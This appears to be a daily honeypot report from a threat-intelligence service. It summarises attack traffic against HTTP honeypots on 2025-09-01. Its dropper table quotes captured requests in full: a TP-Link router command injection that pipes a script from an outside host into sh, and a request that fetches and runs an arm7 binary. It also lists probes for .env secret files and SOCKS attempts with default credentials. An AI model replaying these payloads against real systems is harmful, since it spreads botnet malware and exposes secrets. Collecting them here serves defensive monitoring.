Table of Contents

Daily Report: 2025-09-01
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 4 stage 1 IP address(es), linked to 2 dropper URL(s).

There are 24 new requests that have never been observed before (these were added to the monitored request database.).

A total of 576 requests were recorded during the day, originating from 4 different countries, with a peak of 113 requests coming from US.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Dubai
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
187.72.115.45	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1
121.167.125.180	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1
75.110.226.226	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1
45.153.34.242	GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\x5C/91.224.92.22:58485/observatory/arm7;chmod+777+arm7;./arm7+jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
73	2	CONNECT 196.251.83.215:80 HTTP/1.0
110	1	GET /.env-ssl-cert HTTP/1.1
113	1	GET /.env-sendgrid HTTP/1.1
114	1	GET /.env-settings HTTP/1.1
117	1	GET /.env-tls-cert HTTP/1.1
119	1	GET /.env-tutorial HTTP/1.1
123	1	GET /.env.api.json HTTP/1.1
124	1	GET /.env.aws-prod HTTP/1.1
125	1	GET /.env.backup.1 HTTP/1.1
126	1	GET /.env.backup.2 HTTP/1.1
127	1	GET /.env.defaults HTTP/1.1
129	1	GET /.env-supabase HTTP/1.1
131	1	GET /.env-smtp.env HTTP/1.1
133	1	GET /.env.keys.env HTTP/1.1
134	1	GET /.env.key.json HTTP/1.1
135	1	GET /.env.keys.txt HTTP/1.1
145	1	\x04\x01\x00P\xC4\xFBS\xD7\x00
146	1	\x04\x01\x00P\xC4\xFBS\xD7user:1234\x00
147	1	\x04\x01\x00P\xC4\xFBS\xD7debian:debian\x00
148	1	\x04\x01\x00P\xC4\xFBS\xD7support:support\x00
149	1	\x04\x01\x00P\xC4\xFBS\xD7manager:manager\x00
161	1	GET /.env.disabled HTTP/1.1
162	1	GET /.env.firebase HTTP/1.1
164	1	GET /.env-throttle HTTP/1.1